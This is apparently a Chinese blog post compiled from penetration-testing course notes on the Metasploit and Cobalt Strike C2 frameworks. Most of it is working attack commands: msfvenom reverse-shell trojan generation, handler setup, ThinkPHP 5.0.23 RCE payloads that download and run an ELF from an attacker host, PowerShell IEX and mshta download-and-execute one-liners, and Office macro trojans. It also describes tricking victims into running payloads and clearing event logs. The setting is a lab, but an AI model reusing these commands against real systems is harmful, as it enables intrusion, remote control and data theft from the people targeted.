网络安全
C2 工具

本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。
metasploit
简介
官网: https://www.metasploit.com/
所属企业: https://www.rapid7.com/
c2工具,简称 msf,kali自带,windows 和 云服务器均可安装
功能
- msfconsole:metasploit 的命令行终端
- msfvenom:metasploit 生成 payload 及可执行程序木马的工具
- modules:保存了 metasploit 支持的所有模块
- auxiliary 辅助模块 (信息收集、端口扫描、服务爆破、漏洞检测)
- exploits 漏洞利用
- payloads 攻击载荷
- post 后渗透 (代理隧道、横向渗透、 权限维持、提权、内网信息收集 、 痕迹清除等)
- encoders 编码器 / evasion 逃避 / nops 空 (绕过杀毒软件 、绕过edr)
安装
kali自带
Linux 云服务器 安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
windows 系统安装
https://windows.metasploit.com/metasploitframework-latest.msi
msfconsole使用
步骤
- 使用模块 [use] ( 使用模块之前一般需要搜索[search]模块 )
- 配置模块 [set] ( 配置模块之前一般需要查看[show]配置项 )
- 运行模块 [run]
举例 1 : 端口扫描 portscan
1 搜索模块
**search portscan**
2 使用模块
use 模块的ID或 use 模块的全名
3 查看配置项
show options show 可以不写
4 根据实际需求配置选项
set 选项名 选项值
⚠️选项名大小写不敏感,可以使用 **TAB** 补全
5 运行模块
举例 2 :内网存活探测 arp sweep
先搜索、再使用
search arp sweep
查看配置、设置选项
运行模块
举例 3 :爆破 ftp
先搜索,再使用
search ftp login
设置选项
python -m pyftpdlib -p 21 -u sd -P 123456
运行模块
举例 4:攻击 thinkphp
搜索并使用
search thinkphp
重要配置项
运行模块 ,如果攻击成功,会进入 **meterpreter** 命令终端
举例 5 :攻击永恒之蓝漏洞
搜索并使用
search ms17_010
设置选项
运行模块 ,如果攻击成功,会进入 **meterpreter** 命令终端
举例 6: web_delivery
无文件落地,类似于之前说的 powershell 远程加载执行脚本
**powershell -ep bypass -c "iex (new-object system.net.webclient).downloadstring('ps1文件的下载网址');脚本运行的方法"**
search web_delivery
python
设置配置
运行后,就会生成一个(python)命令,诱导受害者运行命令(或通过 rce 漏洞执行命令)
受害者运行链接
攻击者即可收到 meterpreter (默认放在后台),需要使用 sessions 打开后台才能看到
powershell
show targets
目标没有python,可以选其他语言
设置 target 为其他脚本
set target ID
需要替换payload
set payload windows/x64/meterpreter/reverse_tcp
jobs 查看放在后台的监听
可以使用 jobs 查看放在后台的监听,使用 jobs -K 能 够删除放在后台的所有监听
运行后会出现 powershell 命令。目标执行即可上线 meterpreter session
sessions 可以看到放在后台的会话
sessions 会话ID 可进入后台的会话 , bg 可以把当前的会话放在后台
meterpreter
msf 的后渗透命令行,常见功能
help 查看帮助信息
bg 放在后台
exit 退出
cat 查看文件
cp 复制
upload 上传文件
download 下载文件
arp 查看arp缓存
ifconfig 查看ip
clearev 清除日志
execute 执行系统命令
getenv 查看环境变量
getprivs 查看目标权限
getuid 获取当前用户
sysinfo 查看目标系统
screenshot 截图
webcam_snap 拍照
shell 打开目标命令行
- 乱码的原因:cmd 默认是 gbk 编码,而 bash 默认是 utf-8
- 修复乱码:cmd 中执行命令
chcp 65001
chcp 936
msfvenom
生成 windows 木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=攻击机ip lport=攻击机端口 -f exe -o 文件名.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.2.153 lport=7586 -f exe -o 123.exe
- -p payload
- -f 格式
- -o 输出的文件名
msfconsole 开监听
handler -p 上面生成时用的payload -H 上面生成时用的ip -P 上面生成时用的端口
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.2.153 -P 7586
上线
受害者运行 exe,即可上线 meterpreter
生成 linux 木马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.2.153 lport=7586 -f elf -o 123.elf
一样的开启监听,受害者运行 elf 即可
handler -p linux/x64/meterpreter/reverse_tcp -H 192.168.2.153 -P 7586
chmod +x 123.elf
./123.elf
staged payload 和 stageless payload
查看 msfvenom 支持哪些 payload
msfvenom --list payloads
- windows/x64/meterpreter/reverse_tcp(staged payload 分段式 payload)
- windows/x64/meterpreter_reverse_tcp (stageless payload 无分段 payload )
区别:
- 分段式的木马,是一个下载器,上线时需下载 stage 到内存中
- 无分段的木马,是一个完整的木马
**handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.2.153 -P 7586 **
**handler -p windows/x64/meterpreter_reverse_tcp -H 192.168.2.153 -P 7585 **
操作:RCE 漏洞 meterpreter
https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md
1 攻击机生成 elf 木马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.2.153 lport=7586 -f elf -o 123.elf
2 攻击机开启监听
handler -p linux/x64/meterpreter/reverse_tcp -H 192.168.2.153 -P 7586
3 攻击机开http下载链接
python -m http.server
4 攻击漏洞 ( thinkphp 5.0.23 rce )
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl http://192.168.79.120:8000/123.elf -o /tmp/123.elf
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=chmod 777 /tmp/123.elf
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/tmp/123.elf
5 上线
CobalStrike
cs 也是 c2工具,基于图形化界面,有客户端和服务器两部分组成
Server 服务端
有java 的设备上即可运行,默认端口 50050
**./teamserver 192.168.2.153 123456**
**如果想修改端口,直接编辑 teamserver 文件即可 **
Client 客户端
有java 的设备上即可运行 (不行的话 切换 jdk 版本)
Listenter 监听器
Payload 生成木马文件
stager payload / stageless payload
stager payload
stageless payload
HTML application
HTA 是windows html的
一种应用程序
支持在 hta 里封装 vbs 脚本
vbs 脚本再触发 powershell
cobaltstrike 中 类似 **python -m http.server **的功能 **Host File**
复制链接
http://192.168.2.153:80/han
如果忘记复制链接,可以到 Manage 里重新复制
mshta 复制的拦截
mshta http://192.168.2.153:80/han
web delivery
复制链接并在靶机(cmd 上)执行即可上线 beacon
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.153:1245/hansdxx'))"
office 宏木马
windows office 支持宏脚本,宏脚本 vbs ,vbs 可以嵌套powershell
跟着步骤操作
受害者打开 docm 文件,即可上线
beacon
双击exe即可上线 beacon
interact 执行系统命令
shell 系统命令
shell whoami
shell dir
shell net user
sleep
默认 sleep 的时间是 1 min
修改 sleep 的时间
sleep 秒数
sleep 1
sleep 0
文件浏览器
进程列表
屏幕截图
vnc
只读模式
控制模式
退出和删除
cobaltstrike 和 meterpreter
msf meterpreter 转 cs beacon
1 上线 meterpreter
msfvenom 生成木马 -> msfconsole handler 开启监听 -> 双击木马上线
2 CS创建HTTP监听器
3 msfconsole使用模块exploit
/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.2.153
set lport 1234
set disablepayloadhandler true
4 cs 即可收到 beacon
cs beacon 转 msf meterpreter
1 上线 beacon
2 msfconsole 开启监听
⚠️ -H 需要是 msf 的ip地址 -P 随机
handler -p windows/meterpreter/reverse_http -H 192.168.2.169 -P 2456
3 cs 创建外部监听器
4 选择要发送的 beacon,
spawn 并选择刚刚的外部监听器
5 msf 收到 meterpreter
⚠️ x86 的 meterpreter 用在 x64 的系统中,大部分的功能都可以正常使用 (有部分功能用不 了),如果想变为 x64 的 meterpreter ,可以进行进程迁移
sessions -u 会话的ID
新上线的meterpreter就是 x64 的了
CNA 插件
综合渗透插件 LSTAR
https://github.com/lintstar/LSTAR
-Dfile.encoding=UTF-8
CrossC2
简介
让 cs 支持 linux 、macos 攻击
1 安装编辑
⚠️ 编辑 CrossC2-GithubBot-2023-11-20.cna
**$CC2_PATH = "D:\\32550\\aq\\CobaltStrike4.8\\genCrossC2.Win\\"; # <-------- fix**
**$CC2_BIN = "genCrossC2.exe";**
改动CC2_PATH 为 genCrossC2.exe所在的绝对路径
改动 CC2_BIN 为 genCrossC2.exe
2 依次导入
CrossC2-GithubBot-2023-11-20.cna
CrossC2Kit.cna
CrossC2Kit_Loader.cna
3 把 teamserver 上的 隐藏文件
.cobaltstrike.beacon_keys
传输到 cobaltstrike 客户端文件夹中
使用 (生成linux木马并上线)
1 cs 中创建一个 https 的监听器
2 使用 crossC2 生成木马
生成的木马保存位置在
cobaltstrike 的客户端文件夹中
3 把 elf 木马传给 linux 靶机
并运行,即可上线 linux beacon
你的赏识是我前进的动力

